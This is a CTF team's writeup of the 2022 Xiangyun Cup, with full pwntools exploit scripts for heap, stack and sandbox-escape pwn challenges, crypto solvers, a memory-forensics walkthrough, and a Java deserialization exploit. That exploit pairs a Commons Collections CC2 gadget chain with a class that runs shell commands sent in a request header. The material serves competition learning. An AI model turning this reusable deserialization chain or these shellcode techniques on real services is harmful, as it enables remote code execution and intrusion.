0xUnion战队是我们的全新战队,我们不聊天,我们只写代码。
“祥云杯”作为战队第一场CTF比赛。虽然没有进线下,也算学习提高吧!
导语:
两天的祥云杯结束了,几个队员全力以赴的时间有限,到了最后半天才冲刺了一下,最后无缘线下总决赛,作为队长,感觉知识盲区太多,现在的CTF真的是PWN天下,Web的题量越来越少,自己太菜,不能怪别人,努力吧!缺撒补撒,上wp,欢迎各位师傅多指点!
Pwn
Unexploitable
啥都没有但是溢出了一大截的栈溢出,PIE开了没办法打resolve,也没办法打alarm,只剩一条vdso的路,但是因为是64位,随机范围是 0xffffffffff000000 ~ 0xfffffffffff00000,即使vdso的随机性不强,也有 1/4096 概率,很离谱,所以慢慢爆吧,蹭这个概率。
from pwn import *
#context.log_level='debug'
vsyscall = 0xffffffffff600400
while True:
try:
sh = remote('101.201.71.136', 22550)
#sh=process('./ud')
#gdb.attach(sh)
sh.send(b'a' * 0x10 + p64(vsyscall) * 3 + b'x02x33xa3')
sh.sendline(b"cat flag")
m = sh.recv(timeout=0.5)
print(m)
if b"flag" in m:
print(m)
break
sh.close()
except:
sh.close()
continue
我愣是跑了一个晚上加一早上才出来。。赛后听别的师傅说半个小时就出了。。
Sandbox
就是bitheap的基础上套了一个沙盒,沙盒用ptrace实现的,但是在处理信号的时候没有考虑到非系统调用的情况,如果直接发一个信号过去,让沙盒处于通过状态,然后再发一个系统调用过去,这个时候不会被过滤,可以直接使用int3来处理,板子和bitheap是一样的,只不过因为要处理shellcode,将打system换成了打environ进栈再rop打mprotect进shellcode。
from pwn import *
#r=process(argv=['./sandbox', './sandboxheap'])
#r=process('./sandboxheap')
r=remote('101.201.71.136','39473')
context.log_level='debug'
libc=ELF('./libc-2.27-c.so')
context.arch='amd64'
def add(idx,size):
r.sendlineafter(": ",str(1))
r.sendlineafter(": ",str(idx))
r.sendlineafter(": ",str(size))
def edit(idx,con):
r.sendlineafter(": ",str(2))
r.sendlineafter(": ",str(idx))
r.sendafter(": ",con)
def show(idx):
r.sendlineafter(": ",str(3))
r.sendlineafter(": ",str(idx))
def free(idx):
r.sendlineafter(": ",str(4))
r.sendlineafter(": ",str(idx))
def parse2bin(s):
# s is bytes
res = b''
s = hex(u64(s))[2:]
# align to 8 bytes
s = s.rjust(16, '0')
# reverse
s = s[::-1]
print(s)
for i in range(len(s)):
res += bin(int(s[i], 16)).encode()[2:].rjust(4, b'0')[::-1]
return res
#gdb.attach(r)
for i in range(7):
add(i,0xf8)
add(7,0xf8)#7
add(8,0x88)#8
add(9,0xf8)#9
add(10,0x88)#10
for i in range(7):
free(i)
free(8)
free(7)
add(0,0x88)
edit(0,'1'*8*0x80+'0'*4+'1001'+'1000'+'0'*4*13+'0000'+'1000'+'n')
free(9)
for i in range(1,8):
add(i,0xf8)
result=parse2bin(b'/flagx00x00x00')
#gdb.attach(r)
edit(2,result)
add(8,0xf8)
add(9,0xf8)
show(0)
libc_base = u64(r.recvuntil('x7f')[-6:].ljust(8,b'x00'))-0x3ebca0
system=libc_base+libc.sym['system']
environ=libc_base+libc.sym['environ']
print(hex(libc_base))
show(5)
r.recvuntil(": ")
heap=u64(r.recv(6)+b'x00'*2)-0x360+0x760
print(hex(heap))
free(1)
free(0)
result=parse2bin(p64(environ))
edit(9,result)
add(12,0xf8)
add(11,0xf8)
show(11)
stack=u64(r.recvuntil('x7f')[-6:].ljust(8,b'x00'))
print(hex(stack))
free(9)
result=parse2bin(p64(stack-0x110))
edit(12,result)
add(0,0xf8)
add(1,0xf8)
rdi=p64(libc_base+next(libc.search(asm('pop rdi;ret'))))
rsi=p64(libc_base+next(libc.search(asm('pop rsi;ret'))))
rdx=p64(libc_base+next(libc.search(asm('pop rdx;ret'))))
rax=p64(libc_base+next(libc.search(asm('pop rax;ret'))))
syscall = p64(libc_base+next(libc.search(asm('syscall;ret'))))
open=libc_base+libc.sym['openat64']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
free_hook=libc_base+libc.sym['__free_hook']
fake_rsp = free_hook&0xfffffffffffff000
mprotect=libc_base+libc.sym['mprotect']
result = parse2bin(rdi)+parse2bin(p64(0xffffff9c))
result += parse2bin(rsi)+parse2bin(p64(heap))
result += parse2bin(rdx)+parse2bin(p64(0))
result += parse2bin((rax))+parse2bin(p64(257))+parse2bin(syscall)
result1 = parse2bin(rdi)+parse2bin(p64(3))
result1 += parse2bin((rsi))+parse2bin(p64(heap))
result1 += parse2bin(rdx)+parse2bin(p64(0x100))+parse2bin(p64(read))
result2 = parse2bin(rdi)+parse2bin(p64(1))
result2 += parse2bin(p64(heap))+parse2bin(rdx)
result2 += parse2bin(p64(0x100))+parse2bin(p64(write))
#edit(1,result+result1+result2)
result3 = parse2bin(rdi)+parse2bin(p64(fake_rsp))
result3 += parse2bin(rsi)+parse2bin(p64(0x1000))
result3 += parse2bin(rdx)+parse2bin(p64(7))+parse2bin(p64(mprotect))
result4 = parse2bin(rdi)+parse2bin(p64(0))
result4 += parse2bin((rsi))+parse2bin(p64(fake_rsp))
result4 += parse2bin(rdx)+parse2bin(p64(0x1000))+parse2bin(p64(read)) + parse2bin(p64(fake_rsp))
edit(1,result3+result4)
shellcode = "int 3" + shellcraft.pushstr('flag') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor rdx, rdx /* 0 */
xor rsi, rsi /* 0 */
/* call open() */
xor rax, rax
mov rax, 2
syscall
'''
shellcode += shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100)
shellcode = asm(shellcode)
r.send(shellcode)
r.interactive()
还有一种很新的打法, 可以模拟cat,能跑,但是比赛的时候shellcode一直出不了,openat的结果一直是-1,但是换了个题套这个沙盒再打就可以,很奇怪,以下程序,套上沙盒。
int main() {
sleep(5);
int fd = openat(-100, "/flag", 0);
char buf[24];
read(fd, buf, 24);
write(1, buf, 24);
}
从测试来看是没有问题的,可以输出flag,就是不知道为啥跑不了, 有了解的师傅可以联系一下。
Bitheap
就是一个off by one只是输入的时候要求以二进制输入,4位一组,小端,打hook就行。
from pwn import *
context.log_level = 'debug'
#p = process('./bitheap')
p = remote('101.201.71.136', 33260)
libc = ELF('./libc-2.27-c.so')
ru = lambda s : p.recvuntil(s)
sl = lambda s : p.sendline(s)
sn = lambda s : p.send(s)
rn = lambda s : p.recv(s)
rv = lambda : p.recv()
sla = lambda r, s : p.sendlineafter(r, s)
sa = lambda r, s : p.sendafter(r, s)
def debug(s):
gdb.attach(p, '''
source ./loadsym.py
loadsym ./libc-2.27.debug.so
''' + s)
def add(idx,size):
sla(b": ", str(1).encode())
sla(b": ", str(idx).encode())
sla(b": ", str(size).encode())
def edit(idx, con):
sla(b": ", str(2).encode())
sla(b": ", str(idx).encode())
sa(b": ", con)
def show(idx):
sla(b": ", str(3).encode())
sla(b": ", str(idx).encode())
def free(idx):
sla(b": ", str(4).encode())
sla(b": ", str(idx).encode())
def parse2bin(s):
# s is bytes
res = b''
s = hex(u64(s))[2:]
# align to 8 bytes
s = s.rjust(16, '0')
# reverse
s = s[::-1]
print(s)
for i in range(len(s)):
res += bin(int(s[i], 16)).encode()[2:].rjust(4, b'0')[::-1]
return res
[add(i, 0xf8) for i in range(7)]
add(7, 0xf8)
add(8, 0x88)
add(9, 0xf8)
add(10, 0x88)
[free(i) for i in range(7)]
free(8)
free(7)
add(7, 0x88)
edit(7, b'01010101' * 0x80 + b'000010011000'.ljust(64, b'0') + b'0')
free(9)
[add(i, 0xf8) for i in range(7)]
add(9, 0xf8)
show(7)
libc_base = u64(ru(b'x7f')[-6:].ljust(8, b'x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success(f'libc_base: {hex((libc_base))}')
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
add(11, 0x88) # overlap to 7
free(7)
edit(11, parse2bin(p64(free_hook)) * 2 + b'n')
free(11)
add(7, 0x88)
edit(7, parse2bin(p64(free_hook)))
add(11, 0x88)
edit(7, parse2bin(b'/bin/shx00'))
add(12, 0x88)
edit(12, parse2bin(p64(system)))
free(7)
#debug('')
p.interactive()
Crypto
Little little fermat
题目中个给了这么一行,很明显的小费马。
assert 114514 ** x % p == 1
意味着x和p存在如下关系:
然后是生成p q处,q为p加上一个A,A的生成有一定的范围,并且这个范围很小,在10000以内,这意味着我们可以直接费马分解出pq,直接用yafu也行。
def obfuscate(p):
while True:
l1 = [getRandomRange(-1, 1) for _ in '_' * 5] # [1,-1,0,-1,1]
l2 = [getRandomRange(100, 512) for _ in '_' * 5] # [100, 1111, 1111]
l3 = [getRandomRange(10, 128) for _ in '_' * 5] # [10, 100, 127]
l4 = [getRandomRange(2, 6) for _ in '_' *5] # [2,4,6]
A = sum([l1[_] * 2 ** ((l2[_]+l3[_])//l4[_]) for _ in range(0, 5)])
# sum(2^55)
q = p + A
if isPrime(q) * A != 0:
return q
然后常规出flag
import gmpy2
from Crypto.Util.number import *
N = 141321067325716426375483506915224930097246865960474155069040176356860707435540270911081589751471783519639996589589495877214497196498978453005154272785048418715013714419926299248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883
for a in range(gmpy2.iroot(N, 2)[0] + 1, N):
B2 = pow(a, 2) - N
if gmpy2.is_square(B2):
b = gmpy2.iroot(B2, 2)[0]
break
p = a + b
q = a - b
print(p)
print(q)
e = 65537
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
print(f'd:{d}')
m = gmpy2.powmod(c, d, N)
print(f'm:{m}')
x = p - 1
m = m ^ (x**2)
print(long_to_bytes(m))
trace
脚本前定义一个辗转相除法 (计算最大公约数)
为了下面使phi和e的最大公约数为1 才可以继续运行
将转为数字 后利用pow计算
看.out文件是脚本运行过程 从后往前开
flag
.out文件最后给出n c
这里进行bytes_to_long
这里运行的是task.py脚本
也就是将以上代码逆运算写出脚本即可得出flag
得到flag
from gmpy2 import *
from Crypto.Util.number import *
qwert= open('trace.out','rb').read().split(b'n')[::-1]
a,b=1,0
for i in range(len(qwert)):
line=qwert[i]
if b'a, b = b, a' in line:
a,b=b,a
if b'a = rshift1(a)' in line:
a<<=1
if b'b = rshift1(b)' in line:
b<<=1
if b'a = a - b' in line:
a=a+b
import gmpy2
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
qwert= a
e=65537
d = invert(e,qwert)
flag = pow(c,d,n)
print(long_to_bytes(flag))
Misc
strange forensics
1、 拿到附件是内存镜像,用volatility3分析得到是ubunt18的系统,但是vol3的linux分析环境不行,所以直接用winhex。
由于密码是存到SHAdow里的,在之前发现了里面的bob用户,所以直接在内存里搜shadow文件bob:,找到哈希解密得到密码890topico。
2、用binwalk分析里面的文件,得到一个压缩包名,但是分离的时候失败了,于是直接用winhex把他扣出来。搜索504B0304找到一个包含1.txt的压缩包,将其分离,打开后显示文件损坏,后来发现是加密标识符被修改了,他原本是加密的压缩包,将其如图位置改为09。
3、用ARCHPR爆破该压缩包密码
Web
Ezjava
使用idea反编译jar包,审计源码,发现接收数据后进行base64解码,读取后调用了ois.readObject()反系列化。
查看依赖发现org.apache.commons4.0,这里可以用cc2链打反序列化
构造poc,由于不出网所以使用命令执行回显的恶意类,得到flag
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
{
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}
package CC2;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("CC2.Evil");
byte[] bytes = ctClass.toBytecode();
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] aaa = serialize(queue);
System.out.println(Base64.getEncoder().encodeToString(aaa));
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}}
欢迎各位师傅加入CTF交流群,仅限CTF,非诚勿扰!
群满了,就加队长的微信,拉你进去
原文始发于微信公众号(0xUn1on安全团队):0xUnion战队2022祥云杯writeup
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论